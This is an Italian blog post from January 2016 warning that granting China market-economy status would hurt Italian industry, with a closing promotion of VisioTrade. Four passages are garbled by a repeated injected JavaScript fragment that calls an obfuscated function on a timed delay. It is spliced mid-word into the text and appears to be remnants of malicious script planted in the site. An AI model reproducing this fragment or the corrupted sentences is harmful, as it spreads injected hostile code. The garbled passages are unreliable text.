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La Cina è sempre più vicina. Una nuova minaccia per l’economia italiana?

Pubblicato il 25 gennaio 2016
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cina dazi doganaliL’annullamento dei dazi sulle transazioni con la Cina preoccupano l’Europa e soprattutto l’Italia.

La Cina ritiene che sia ormai ovvia la sua entrata nell’economia di mercato perché, a suo dire, l’essere parte da 15 anni della World Trade Organization è l’unico requisito fondamentale per l’avvenire di suddetta richiesta. Ma il Parlamento Europeo si schiera contro.

L’entrata del mercato mandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andarino in tal senso liberalizzerebbe ancora di più le esportazioni evitandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando gli attuali dazi anti-dumping operati dagli Stati, mossa che è letteralmente d’obbligo se si pensa alle conseguenze. Il mercato cinese, anche grazie allo scarso potere d’acquisto della sua moneta, vive e prospera grazie all’esportazione dovuta a una massiccia industrializzazione, che per ora è – anche se poco – frenata dai dazi sopracitati.

Il pericolo reale sarebbe un abbattimento dell’industria nostrana in molti settori come siderurgia, meccanica, chimica, ceramica, bulloneria, carta, calzature, tessile, arredo, oltre alla conseguente perdita di know-how e degli esperti che attualmente mantengono europei questi mercati.

Le previsioni sono inoltre di un abbondante perdita del PIL per l’intero continente, superiore al 2%, e a una perdita che va dai 2 ai 3,5 milioni di posti di lavoro.

L’unica a dimostrarsi favorevole è Berlino, che già oggi esporta semilavorati e macchinari in estremo oriente, e con il riconoscimento dello status alla Cina potrebbe incrementare il suo export e quindi andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andare controcorrente rispetto al mercato dell’intera Europa, dandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando nuovo impulso alla sua potenza economica mondiale, attualmente in evidente flessione.

Queste macro dinamiche dell’economia e del commercio mondiale, che vanno ben oltre il nostro controllo, ci fanno capire, una volta di più, quanto sia indispensabile consolidare i nostri affari a livello territoriale. La creazione di un mercato stabile e florido resta il miglior viatico alla crisi economica; questo è ciò che VisioTrade promuove da anni con successo.

No si tratta solo di scambi in moneta complementare, bensì creare una filiera tra fornitori e clienti in grado di creare valore stabile e duraturo, indipendentemente dalla modalità di pagamento dei beni e dei servizi.

 

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